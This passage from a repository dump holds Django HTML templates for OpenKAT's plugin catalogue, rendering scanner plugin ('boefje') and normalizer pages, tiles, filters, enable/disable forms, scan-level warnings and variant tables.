    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div class=\"introduction\">\n                <div>\n                    <h1>{{ plugin.name }}</h1>\n                    {% if plugin.description %}\n                        <p>\n                            <strong>{% translate \"Description\" %}</strong>\n                        </p>\n                        <p>{{ plugin.description }}</p>\n                    {% endif %}\n                    <div class=\"horizontal-view\">\n                        {% include \"partials/enable_disable_plugin.html\" with plugin=plugin %}\n\n                    </div>\n                </div>\n                <div class=\"image-square\">\n                    <div class=\"image-container\">\n                        <img loading=\"lazy\"\n                             src=\"{% url \"plugin_cover\" organization_code=organization.code plugin_id=plugin.id %}\"\n                             alt=\"boefje placeholder image\" />\n                    </div>\n                </div>\n            </div>\n        </section>\n        {% if perms.tools.can_view_katalogus_settings %}\n            {% include \"plugin_settings_list.html\" with object_list=plugin_settings plugin=plugin %}\n\n        {% endif %}\n        <section>\n            <div>\n                <h2>{% translate \"Consumes\" %}</h2>\n                {% if plugin.consumes %}\n                    <p>\n                        {% blocktranslate trimmed with plugin_name=plugin.name %}\n                            {{ plugin_name }} is able to process the following mime types:\n                        {% endblocktranslate %}\n                    </p>\n                    <p>\n                        <ul>\n                            {% for mime_type in plugin.consumes %}\n                                <li>\n                                    <a href=\"{% url \"upload_raw_typed\" organization_code=organization.code mime_type=mime_type|urlencode:\"\" %}\">{{ mime_type }}</a>\n                                </li>\n                            {% endfor %}\n                        </ul>\n                    </p>\n                {% else %}\n                    {% blocktranslate trimmed with plugin_name=plugin.name %}\n                        {{ plugin_name }} does not need any input objects.\n                    {% endblocktranslate %}\n                {% endif %}\n                <h2>{% translate \"Produces\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed with plugin_name=plugin.name %}\n                        {{ plugin_name }} can produce the following output:\n                    {% endblocktranslate %}\n                </p>\n                <p>\n                    {% if plugin.produces %}\n                        {% for ooi_type in plugin.produces %}\n                            <a href=\"{% url \"ooi_list\" organization_code=organization.code %}?ooi_type={{ ooi_type|urlencode:\"\" }}\">{{ ooi_type }}</a>\n                            {% if not forloop.last %}-{% endif %}\n                        {% endfor %}\n                    {% else %}\n                        No known produces OOIs listed. N.B. This list might not be complete.\n                    {% endif %}\n                </p>\n                <p>\n                    {% include \"tasks/plugin_detail_task_list.html\" %}\n\n                </p>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/autoSubmit.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/renderNormalizerOutputOOIs.js\" %}\" type=\"module\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/katalogus/templates/normalizers.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\" class=\"katalogus\">\n        {% include \"partials/no_enabling_permission_message.html\" %}\n\n        <section>\n            {% include \"partials/katalogus_header.html\" %}\n            {% include \"partials/plugins_navigation.html\" with active=\"normalizers\" %}\n\n            <div class=\"introduction\">\n                <div>\n                    <h2>Normalizers</h2>\n                    <p>\n                        {% blocktranslate trimmed %}\n                            Normalizers analyze the information and turn it into objects for the data model in Octopoes.\n                        {% endblocktranslate %}\n                    </p>\n                </div>\n            </div>\n            <div>\n                {% include \"partials/katalogus_filter.html\" with form=form %}\n\n                <div class=\"fifty-fifty\">\n                    <p>\n                        <strong>{{ object_list|length }}</strong> Normalizer{{ object_list|pluralize:\"s\" }} {% translate \"available\" %}\n                    </p>\n                    {% include \"partials/katalogus_toolbar.html\" %}\n\n                </div>\n                {% include \"partials/plugins.html\" %}\n\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/boefje_tile.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<div class=\"{% if item.required %}required{% endif %} {{ item|get_type_name|lower }}\"\n     role=\"group\"\n     aria-labelledby=\"{{ item.id }}\">\n    {% if item.required %}\n        <span class=\"nota-bene\" id=\"boefje_{{ item.id }}\">{% translate \"This object type is required\" %}</span>\n    {% endif %}\n    {% if widget %}\n        {% include \"forms/widgets/checkbox_option.html\" %}\n\n    {% endif %}\n    {% if widget %}<span class=\"tile-label\">{{ item|get_type_name }}</span>{% endif %}\n    <img loading=\"lazy\"\n         src=\"{% url \"plugin_cover\" organization_code=organization.code plugin_id=item.id %}\"\n         alt=\"placeholder image for Boefje {{ item.name }}\">\n    {% with scan_level=item.scan_level.value %}\n        <div class=\"horizontal-view scan-intensity\">\n            <span class=\"de-emphasized\">{% translate \"Scan level:\" %}</span>\n            {% include \"partials/scan_level_indicator.html\" with value=scan_level %}\n\n        </div>\n    {% endwith %}\n    <h1>{{ item.name }}</h1>\n    <p>{{ item.description }}</p>\n    <span class=\"de-emphasized\">\n        {% translate \"Publisher:\" %}\n        OpenKAT\n    </span>\n    <div class=\"action-buttons\">\n        <a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=item.id %}\">{% translate \"See details\" %}</a>\n        {% if not widget %}{{ item }}{% endif %}\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/enable_disable_plugin.html",
    "content": "{% load i18n %}\n\n{% if perms.tools.can_enable_disable_boefje %}\n    <form action=\"{% url \"plugin_enable_disable\" organization_code=organization.code plugin_type=plugin.type plugin_id=plugin.id plugin_state=plugin.enabled %}\"\n          method=\"post\"\n          class=\"inline\">\n        {% csrf_token %}\n        <input type=\"hidden\"\n               name=\"current_url\"\n               value=\"{{ request.get_full_path }}#plugin_{{ plugin.id|slugify }}\">\n        <button type=\"submit\"\n                class=\"button ghost {% if plugin.enabled %}destructive{% else %}plugin-enabled{% endif %}\">\n            {% if not plugin.enabled %}\n                {% translate \"Enable\" %}\n            {% else %}\n                {% translate \"Disable\" %}\n            {% endif %}\n        </button>\n    </form>\n{% else %}\n    <span class=\"de-emphasized\">\n        {% if plugin.enabled %}\n            <span class=\"label system-tag color-2\">{% translate \"Enabled\" %}</span>\n        {% else %}\n            <span class=\"label system-tag color-3\">{% translate \"Disabled\" %}</span>\n        {% endif %}\n    </span>\n{% endif %}\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/katalogus_filter.html",
    "content": "{% load i18n %}\n\n<div class=\"filter\">\n    <div>\n        <button aria-expanded=\"false\"\n                data-hide-filters-label='{% translate \"Hide filters\" %}'>\n            {% translate \"Show filters\" %}\n            {% if active_filters_counter > 0 %}\n                ({{ active_filters_counter }} {% translate \"applied\" %})\n            {% endif %}\n        </button>\n    </div>\n    <form novalidate method=\"get\" class=\"help\">\n        {% include \"partials/form/fieldset.html\" with fields=form %}\n\n        <div class=\"button-container\">\n            <button type=\"submit\">{% translate \"Filter plugins\" %}</button>\n            <a href=\"{{ request.path }}\" class=\"button ghost\">{% translate \"Clear filter\" %}</a>\n        </div>\n    </form>\n</div>\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/katalogus_header.html",
    "content": "{% load i18n %}\n\n<div class=\"introduction\">\n    <div>\n        <h1>{% translate \"KAT-alogus\" %}</h1>\n        <p>{% translate \"An overview of all available plugins.\" %}</p>\n    </div>\n    {% if perms.tools.can_view_katalogus_settings %}\n        <div class=\"horizontal-view toolbar\">\n            <a class=\"button ghost\"\n               href=\"{% url 'katalogus_settings' organization.code %}\"><span class=\"icon ti-settings\"></span>{% translate \"Settings\" %}</a>\n        </div>\n    {% endif %}\n</div>\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/katalogus_toolbar.html",
    "content": "{% load i18n %}\n\n{% if object_list %}\n    <div class=\"horizontal-view horizontal-scroll toolbar\">\n        <a href=\"{% url url_name organization_code=organization.code view_type=\"grid\" %}?{{ request.GET.urlencode }}\"\n           class=\" icon toggle-button ti-layout-grid\"\n           {% if view_type == \"grid\" %}aria-current=\"page\"{% endif %}>{% translate \"Gridview\" %}</a>\n        <a href=\"{% url url_name organization_code=organization.code view_type=\"table\" %}?{{ request.GET.urlencode }}\"\n           class=\" icon toggle-button ti-menu-2\"\n           {% if view_type == \"table\" %}aria-current=\"page\"{% endif %}>{% translate \"Tableview\" %}</a>\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/modal_report_types.html",
    "content": "{% load i18n %}\n\n<a href=\"#{{ plugin_id }}-report-types-modal\"\n   class=\"tile-report-types-link\">{% translate \"Required for\" %} {{ report_types|length }} {% translate \"report types\" %}<span aria-hidden=\"true\" class=\"icon ti-chevron-right\"></span></a>\n{% with modal_id=plugin.id|add:\"-report-types-modal\" %}\n    {% component \"modal\" modal_id=modal_id size=\"dialog-medium\" %}\n    {% fill \"header\" %}\n    {% translate \"Report types for \" %}{{ plugin.name }}\n{% endfill %}\n{% fill \"content\" %}\n<section>\n    <div>\n        <ul class=\"tags report-types\">\n            {% for plugin_id, report_types in plugin_report_types.items %}\n                {% if plugin_id == plugin.id %}\n                    {% for report_type in report_types %}\n                        <li>\n                            <span class=\"tags-color-{{ report_type.label_style }}\">{{ report_type.name }}</span>\n                        </li>\n                    {% endfor %}\n                {% endif %}\n            {% endfor %}\n        </ul>\n    </div>\n</section>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n{% endwith %}\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/no_enabling_permission_message.html",
    "content": "{% load i18n %}\n{% load static %}\n\n{% if not perms.tools.can_enable_disable_boefje %}\n    <div class=\"message\">\n        <div class=\"explanation\"\n             role=\"group\"\n             aria-label=\"{% translate \"explanation\" %}\">\n            <div>\n                <span>{% translate \"No permission to enable/disable plugins\" %}</span>\n                <p>\n                    {% blocktranslate trimmed %}\n                        Contact your administrator to request permission.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n        </div>\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/objects_to_scan.html",
    "content": "{% load i18n %}\n\n<section>\n    {% translate \"Object list\" as form_title %}\n    <div>\n        <h2>{{ form_title }}</h2>\n        <p>\n            {% blocktranslate trimmed with scan_level=plugin.scan_level %}\n                This Boefje will only scan objects with a corresponding clearance level of <strong>L{{ scan_level }}</strong>\n                or higher. There is no indemnification for this Boefje to scan an OOI with a lower clearance level than <strong>L{{ scan_level }}</strong>. Use the filter to show OOI's with a lower clearance level.\n            {% endblocktranslate %}\n        </p>\n        <form method=\"get\" class=\"inline\">\n            <div class=\"horizontal-view\">\n                {% include \"partials/form/form_errors.html\" with form=select_ooi_filter_form %}\n\n                {% for field in select_ooi_filter_form %}\n                    <input type=\"{{ field.field.widget.input_type }}\"\n                           name=\"{{ field.name }}\"\n                           class=\"{{ field.field.widget.attrs.class }}\"\n                           {% if \"show_all=on\" in request.get_full_path %}checked{% endif %} />\n                    <label>{{ field.label }}</label>\n                {% endfor %}\n            </div>\n        </form>\n        {% if \"show_all=on\" in request.get_full_path and select_oois_form.fields.ooi.choices %}\n            <p class=\"warning\"\n               role=\"group\"\n               aria-label=\"{% translate \"scan level warning\" %}\">\n                <span>{% translate \"Warning scan level:\" %}</span>\n                {% blocktranslate trimmed %}\n                    Scanning OOI's with a lower clearance level will result in OpenKAT increasing the clearance level on that OOI,\n                    not only for this scan but from now on out, until it manually gets set to something else again.\n                    This means that all other enabled Boefjes will use this higher clearance level aswel.\n                {% endblocktranslate %}\n            </p>\n        {% endif %}\n        {% if select_oois_form.fields.ooi.choices %}\n            {% include \"partials/form/checkbox_group_table_form.html\" with checkbox_group_table_form=select_oois_form btn_text=\"Start scan\" plugin_enabled=plugin.enabled key=\"boefje_id\" value=plugin.id action=\"scan_oois\" checkbox_group_table_filter_form=select_ooi_filter_form unique_id=\"\" %}\n\n        {% elif has_consumable_oois %}\n            {% blocktranslate trimmed with name=plugin.name %}\n                You currently don't have any objects that meet the scan level of {{ name }}.\n                Add objects with a complying clearance level, or alter the clearance level of existing objects.\n            {% endblocktranslate %}\n        {% else %}\n            {% blocktranslate trimmed with name=plugin.name %}\n                You currently don't have scannable objects for {{ name }}.\n                Add objects to use this Boefje. This Boefje is able to scan objects of the following types:\n            {% endblocktranslate %}\n            <p>\n                {% for ooi in plugin.consumes %}\n                    <a href=\"{% url \"ooi_add\" ooi_type=ooi organization_code=organization.code %}\">{{ ooi }}</a>\n                    {% if ooi != plugin.consumes|last %}-{% endif %}\n                {% endfor %}\n            </p>\n        {% endif %}\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/plugin_settings_required.html",
    "content": "{% load static %}\n{% load i18n %}\n\n{% block content %}\n    <main id=\"main-content\">\n        <section>\n            <div class=\"layout-form\">\n                {% if not form %}\n                    <h1>{% translate \"The form could not be initialized.\" %}</h1>\n                {% else %}\n                    <form novalidate method=\"post\" class=\"help\">\n                        {% csrf_token %}\n                        {% translate \"Required settings\" as fieldset_legend %}\n                        {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                        <button type=\"submit\">{% translate \"Add\" %}</button>\n                    </form>\n                {% endif %}\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/plugin_tile.html",
    "content": "{% load i18n %}\n{% load static %}\n{% load component_tags %}\n\n<div role=\"group\"\n     class=\"plugin {% if plugin.enabled %} plugin-is-enabled {% else %} plugin-is-disabled {% endif %}\"\n     id=\"plugin_{{ plugin.id|slugify }}\">\n    {% if add_checkbox %}\n        <input type=\"checkbox\"\n               form=\"{{ form_id }}\"\n               name=\"plugin\"\n               value=\"{{ plugin.id }}\"\n               {% if checked %}checked{% endif %} />\n    {% endif %}\n    <img loading=\"lazy\"\n         src=\"{% url \"plugin_cover\" organization_code=organization.code plugin_id=plugin.id %}\"\n         alt=\"boefje placeholder image\" />\n    <p class=\"tile-title\">\n        <strong>{{ plugin.name }}</strong><span class=\"label-plugin-type {{ plugin.type }}\">{{ plugin.type|title }}</span>\n    </p>\n    {% if plugin.description %}<p class=\"tile-description\">{{ plugin.description }}</p>{% endif %}\n    {% if not show_meta %}\n        {% if plugin.type == \"boefje\" %}\n            <div class=\"horizontal-view scan-intensity\">\n                <ul class=\"level-indicator l{{ plugin.scan_level }}\">\n                    {% for i in \"1234\"|make_list %}<li></li>{% endfor %}\n                </ul>\n            </div>\n        {% endif %}\n        <span class=\"plugin-author-link de-emphasized\"><a target=\"_blank\" href=\"https://openkat.nl\" rel=\"noopener noreferrer\">OpenKAT</a></span>\n        {% if show_report_types %}\n            {% for plugin_id, report_types in plugin_report_types.items %}\n                {% if plugin_id == plugin.id %}\n                    {% if report_types|length >= 2 %}\n                        {% include \"partials/modal_report_types.html\" with plugin=plugin %}\n\n                    {% else %}\n                        <ul class=\"tags report-types\">\n                            {% for report_type in report_types %}\n                                <li>\n                                    <label for=\"report-types-required-for-plugin\">{% translate \"Required for:\" %}</label>\n                                    <span class=\"tags-color-{{ report_type.label_style }}\">{{ report_type.name }}</span>\n                                </li>\n                            {% endfor %}\n                        </ul>\n                    {% endif %}\n                {% endif %}\n            {% endfor %}\n        {% endif %}\n        <div class=\"action-buttons\">\n            {% if not remove_action_buttons %}\n                {% include \"partials/enable_disable_plugin.html\" with plugin=plugin %}\n\n            {% endif %}\n            {% if show_report_types %}\n                {% include \"partials/plugin_tile_modal.html\" with plugin=plugin %}\n\n            {% else %}\n                {% if plugin.type == \"boefje\" %}\n                    <a class=\"tile-detail-link\"\n                       href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=plugin.id %}\">{% translate \"See details\" %}</a>\n                {% else %}\n                    <a class=\"tile-detail-link\"\n                       href=\"{% url \"normalizer_detail\" organization_code=organization.code plugin_id=plugin.id %}\">{% translate \"See details\" %}</a>\n                {% endif %}\n            {% endif %}\n        </div>\n    {% endif %}\n</div>\n{% block html_at_end_body %}\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/plugin_tile_modal.html",
    "content": "{% load i18n %}\n\n<a href=\"#{{ plugin.id }}-detail-modal\"\n   class=\"tile-detail-link\"\n   data-modal-id=\"{{ plugin.id }}-detail-modal\">{% translate \"See details\" %}</a>\n{% with modal_id=plugin.id|add:\"-detail-modal\" %}\n    {% component \"modal\" modal_id=modal_id size=\"dialog-medium\" %}\n    {% fill \"header\" %}\n    {% translate \"Boefje details\" %}\n{% endfill %}\n{% fill \"content\" %}\n<section>\n    <div>\n        <!-- Introduction -->\n        <div class=\"horizontal-view\">\n            <h3 class=\"heading-small\">{{ plugin.name }}</h3>\n            {% if plugin.enabled %}\n                <span class=\"state-tag enabled\">{% translate \"Enabled\" %}</span>\n            {% else %}\n                <span class=\"state-tag disabled\">{% translate \"Disabled\" %}</span>\n            {% endif %}\n        </div>\n        <p>{{ plugin.description }}</p>\n    </div>\n    <div class=\"fifty-fifty\">\n        <!-- General information -->\n        <div>\n            <!-- Scan level -->\n            <h3 class=\"heading-small\">{% translate \"Scan level\" %}</h3>\n            {% if plugin.type == \"boefje\" %}\n                <div class=\"horizontal-view scan-intensity\">\n                    <ul class=\"level-indicator l{{ plugin.scan_level }}\">\n                        {% for i in \"1234\"|make_list %}<li></li>{% endfor %}\n                    </ul>\n                </div>\n            {% endif %}\n        </div>\n        {% comment %} TODO: Implement Matching objects {% endcomment %}\n        {% comment %} <div>\n                    <!-- Matching objects -->\n                    <h3 class=\"heading-small\">{% translate \"Matching objects\" %}</h3>\n        </div> {% endcomment %}\n    </div>\n</section>\n<section>\n    <div>\n        <!-- Report types-->\n        <h3 class=\"heading-small\">{% translate \"Report types\" %}</h3>\n        <p>{% translate \"This boefje is required by the following report types.\" %}</p>\n        <p>\n            {% for plugin_id, report_types in plugin_report_types.items %}\n                {% if plugin_id == plugin.id %}\n                    {% for report_type in report_types %}\n                        <span class=\"label tags-color-{{ report_type.label_style }}\">{{ report_type.name }}</span>\n                    {% endfor %}\n                {% endif %}\n            {% endfor %}\n        </p>\n    </div>\n</section>\n<section>\n    {% comment %} TODO: Implement consumable object types {% endcomment %}\n    {% comment %} <div>\n        <!-- Consumes -->\n        {% if plugin.consumes %}\n            <h3 class=\"heading-small\">{% translate \"Consumes\" %}</h3>\n    </div> {% endcomment %}\n    <div>\n        <!-- Produces -->\n        <h3 class=\"heading-small\">{% translate \"Produces\" %}</h3>\n        <p>\n            {% blocktranslate trimmed with plugin_name=plugin.name %}\n                {{ plugin_name }} can produce the following output:\n            {% endblocktranslate %}\n        </p>\n        <p>\n            <ul>\n                {% for mime_type in plugin.produces %}<li>{{ mime_type }}</li>{% endfor %}\n            </ul>\n        </p>\n    </div>\n</section>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=plugin.id %}\"\n   class=\"button ghost\">{% translate \"Go to boefje detail page\" %}</a>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n{% endwith %}\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/plugins.html",
    "content": "{% load i18n %}\n{% load static %}\n\n{% if view_type == \"table\" %}\n    <div class=\"horizontal-scroll sticky-column\">\n        <table class=\"plugins\">\n            <caption>{% translate \"Plugins overview:\" %}</caption>\n            <thead>\n                <tr>\n                    <th>{% translate \"Plugin name\" %}</th>\n                    {% if active == \"all\" %}\n                        <th>{% translate \"Plugin type\" %}</th>\n                    {% endif %}\n                    <th>{% translate \"Plugin description\" %}</th>\n                    <th>{% translate \"Actions\" %}</th>\n                    <th class=\"visually-hidden\">{% translate \"Detail page\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for plugin in object_list %}\n                    <tr id=\"plugin_{{ plugin.id|slugify }}\">\n                        <td scope=\"row\">\n                            {% if plugin.type == \"boefje\" %}\n                                <a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=plugin.id %}\">{{ plugin.name }}</a>\n                            {% else %}\n                                <a href=\"{% url \"normalizer_detail\" organization_code=organization.code plugin_id=plugin.id %}\">{{ plugin.name }}</a>\n                            {% endif %}\n                        </td>\n                        {% if active == \"all\" %}\n                            <td scope=\"row\">\n                                <p class=\"plugin-title\">\n                                    <span class=\"label-plugin-type {{ plugin.type }}\">{{ plugin.type|title }}</span>\n                                </p>\n                            </td>\n                        {% endif %}\n                        <td>\n                            {% if plugin.description %}<span class=\"plugin-description\">{{ plugin.description }}</span>{% endif %}\n                        </td>\n                        <td>\n                            {% include \"partials/enable_disable_plugin.html\" with plugin=plugin %}\n\n                        </td>\n                        <td class=\"sticky-cell\">\n                            {% if plugin.scan_level != None %}\n                                <a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=plugin.id %}\"\n                                   class=\"nowrap icon-only\">\n                                    {% translate \"Detail page\" %}\n                                    <span class=\"icon ti-chevron-right\" aria-hidden=\"true\"></span>\n                                </a>\n                            {% else %}\n                                <a href=\"{% url \"normalizer_detail\" organization_code=organization.code plugin_id=plugin.id %}\"\n                                   class=\"nowrap icon-only\">\n                                    {% translate \"Detail page\" %}\n                                    <span class=\"icon ti-chevron-right\" aria-hidden=\"true\"></span>\n                                </a>\n                            {% endif %}\n                        </td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n{% else %}\n    <div class=\"column-4 tiles plugins images-cover\">\n        {% for plugin in object_list %}\n            {% include \"partials/plugin_tile.html\" with plugin=plugin %}\n\n        {% endfor %}\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/plugins_navigation.html",
    "content": "{% load i18n %}\n\n<div>\n    <nav class=\"tabs\" aria-label=\"{% translate \"Plugins Navigation\" %}\">\n        <ul>\n            <li {% if active == \"boefjes\" %}aria-current=\"page\"{% endif %}>\n                <a href=\"{% url 'boefjes_list' organization.code view_type %}\">{% translate \"Boefjes\" %}</a>\n            </li>\n            <li {% if active == \"normalizers\" %}aria-current=\"page\"{% endif %}>\n                <a href=\"{% url 'normalizers_list' organization.code view_type %}\">{% translate \"Normalizers\" %}</a>\n            </li>\n            <li {% if active == \"all\" %}aria-current=\"page\"{% endif %}>\n                <a href=\"{% url 'all_plugins_list' organization.code view_type %}\">{% translate \"All\" %}</a>\n            </li>\n            <li {% if active == \"about-plugins\" %}aria-current=\"page\"{% endif %}>\n                <a href=\"{% url 'about_plugins' organization.code %}\">{% translate \"About plugins\" %}</a>\n            </li>\n        </ul>\n    </nav>\n</div>\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/single_action_checkbox_form.html",
    "content": "{% load static %}\n\n<form method=\"post\" class=\"inline\">\n    {% csrf_token %}\n    <input type=\"hidden\" name=\"action\" value=\"{{ action }}\">\n    {% if key %}<input type=\"hidden\" name=\"{{ key }}\" value=\"{{ value }}\">{% endif %}\n    <div class=\"checkbox\">\n        <input type=\"checkbox\"\n               class=\"submit-on-click {{ input_class }}\"\n               {% if input_checked %}checked{% endif %}\n               {% if input_disabled %}disabled{% endif %}>\n        {% if label_text %}<label>{{ label_text }}</label>{% endif %}\n    </div>\n</form>\n<script src=\"{% static \"js/autoSubmit.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n"
  },
  {
    "path": "rocky/katalogus/templates/partials/single_action_form.html",
    "content": "<form method=\"post\"\n      class=\"inline\"\n      {% if url %}action=\"{{ url }}\"{% endif %}>\n    {% csrf_token %}\n    <input type=\"hidden\" name=\"action\" value=\"{{ action }}\">\n    {% if key %}<input type=\"hidden\" name=\"{{ key }}\" value=\"{{ value }}\">{% endif %}\n    <button type=\"submit\"\n            class=\"{{ btn_class }}\"\n            {% if btn_disabled %}disabled{% endif %}>\n        {% if btn_icon %}<span class=\"{{ btn_icon }}\"></span>{% endif %}\n        {{ btn_text }}\n    </button>\n</form>\n"
  },
  {
    "path": "rocky/katalogus/templates/plugin_container_image.html",
    "content": "{% load static %}\n{% load humanize %}\n{% load i18n %}\n\n<div>\n    <h2>{% translate \"Container image\" %}</h2>\n    <p>\n        {% translate \"The container image for this Boefje is:\" %} <code>{{ plugin.oci_image }}</code>\n    </p>\n    <div class=\"introduction\">\n        <div>\n            <h3>{% translate \"Variants\" %}</h3>\n            <p>\n                {% blocktranslate trimmed %}\n                    Boefje variants that use the same container image. For more\n                    information about Boefje variants you can read the documentation.\n                {% endblocktranslate %}\n            </p>\n        </div>\n        {% if perms.tools.can_add_boefje %}\n            <div class=\"horizontal-view toolbar\">\n                <a class=\"button ghost\"\n                   href=\"{% url \"boefje_variant_setup\" plugin_id=plugin.id organization_code=organization.code %}\"><span aria-hidden=\"true\" class=\"icon ti-plus\"></span>{% translate \"Add variant\" %}</a>\n            </div>\n        {% endif %}\n    </div>\n    {% if variants %}\n        {% if new_variant %}\n            <p class=\"confirmation\" aria-label=\"{% translate \"confirmation\" %}\">\n                <span>{% blocktranslate %}Variant {{ plugin.name }} created.{% endblocktranslate%}</span>\n                {% blocktranslate trimmed %}\n                    The Boefje variant is successfully created and can now be used.\n                {% endblocktranslate %}\n            </p>\n        {% endif %}\n        <div class=\"horizontal-scroll\">\n            <ul class=\"accordion\">\n                <li>\n                    <button id=\"definition-asset\" aria-expanded=\"true\">All variants</button>\n                    <div aria-labelledby=\"definition-asset\">\n                        <table>\n                            <caption class=\"visually-hidden\">{% translate \"Overview of variants\" %}</caption>\n                            <thead>\n                                <tr>\n                                    <th scope=\"col\">{% translate \"Name\" %}</th>\n                                    <th scope=\"col\">{% translate \"Scan level\" %}</th>\n                                    <th scope=\"col\">{% translate \"Status\" %}</th>\n                                    <th scope=\"col\">{% translate \"Age\" %}</th>\n                                    <th scope=\"col\">{% translate \"Scan interval\" %}</th>\n                                    <th scope=\"col\">{% translate \"Run on\" %}</th>\n                                    <th scope=\"col\"></th>\n                                </tr>\n                            </thead>\n                            <tbody>\n                                {% for variant in variants %}\n                                    <tr>\n                                        <td>\n                                            <a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=variant.id %}\">\n                                                {% if variant.id == plugin.id %}\n                                                    {{ variant.name }} ({% translate \"current\" %})\n                                                {% else %}\n                                                    {{ variant.name }}\n                                                {% endif %}\n                                            </a>\n                                        </td>\n                                        <td>\n                                            {% include \"partials/scan_level_indicator.html\" with value=variant.scan_level %}\n\n                                        </td>\n                                        <td>\n                                            {% if variant.enabled %}\n                                                <span class=\"label tags-color-2-medium\">{% translate \"Enabled\" %}</span>\n                                            {% else %}\n                                                <span class=\"label tags-color-4-medium\">{% translate \"Disabled\" %}</span>\n                                            {% endif %}\n                                        </td>\n                                        <td>\n                                            <span title=\"{{ variant.created }} UTC\">{{ variant.created|naturaltime }}</span>\n                                        </td>\n                                        <td>\n                                            <span title=\"{{ variant.interval }}\">\n                                                {% if variant.interval %}\n                                                    {{ variant.interval }} {% translate \"minutes\" %}\n                                                {% elif variant.run_on %}\n                                                    -\n                                                {% else %}\n                                                    {% translate \"Default system scan frequency\" %}\n                                                {% endif %}\n                                            </span>\n                                        </td>\n                                        <td>\n                                            <span title=\"{{ variant.run_on }}\">\n                                                {% if variant.run_on %}\n                                                    {{ variant.run_on|join:\", \"|capfirst }}\n                                                {% else %}\n                                                    -\n                                                {% endif %}\n                                            </span>\n                                        </td>\n                                        <td class=\"actions\">\n                                            <button class=\"expando-button\"\n                                                    data-icon-open-class=\"icon ti-chevron-down\"\n                                                    data-icon-close-class=\"icon ti-chevron-up\"\n                                                    data-close-label=\"{% translate \"Close details\" %}\">\n                                                {% translate \"Open details\" %}\n                                            </button>\n                                        </td>\n                                    </tr>\n                                    <tr class=\"expando-row\">\n                                        <td colspan=\"5\">\n                                            <h5>{% translate \"Boefje ID\" %}</h5>\n                                            <p>{{ variant.id }}</p>\n                                            <h5>{% translate \"Creation date\" %}</h5>\n                                            {% if variant.created %}\n                                                <p>{{ variant.created }}</p>\n                                            {% else %}\n                                                <p>-</p>\n                                            {% endif %}\n                                            <h5>{% translate \"Arguments\" %}</h5>\n                                            {% if variant.oci_arguments %}\n                                                <p>{% translate \"The following arguments are used for this Boefje variant:\" %}</p>\n                                                <p class=\"explanation\" aria-label=\"{% translate \"explanation\" %}\">{{ variant.oci_arguments|join:\" \" }}</p>\n                                            {% else %}\n                                                <p>{% translate \"There are no arguments used for this Boefje variant.\" %}</p>\n                                            {% endif %}\n                                            {% if perms.tools.can_add_boefje %}\n                                                <div class=\"horizontal-view toolbar\">\n                                                    <a class=\"button ghost\"\n                                                       href=\"{% url \"edit_boefje\" plugin_id=variant.id organization_code=organization.code %}\"><span aria-hidden=\"true\" class=\"icon ti-edit action-button\"></span>{% translate \"Edit variant\" %}</a>\n                                                </div>\n                                            {% endif %}\n                                        </td>\n                                    </tr>\n                                {% endfor %}\n                            </tbody>\n                        </table>\n                    </div>\n                </li>\n            </ul>\n        </div>\n    {% else %}\n        <p class=\"explanation\" aria-label=\"{% translate \"explanation\" %}\">\n            <span>{% translate \"This Boefje has no variants yet.\" %}</span>\n            {% blocktranslate trimmed %}\n                You can make a variant and change the arguments and JSON Schema\n                to customize it to fit your needs.\n            {% endblocktranslate %}\n        </p>\n    {% endif %}\n</div>\n"
  },
  {
    "path": "rocky/katalogus/templates/plugin_settings_add.html",
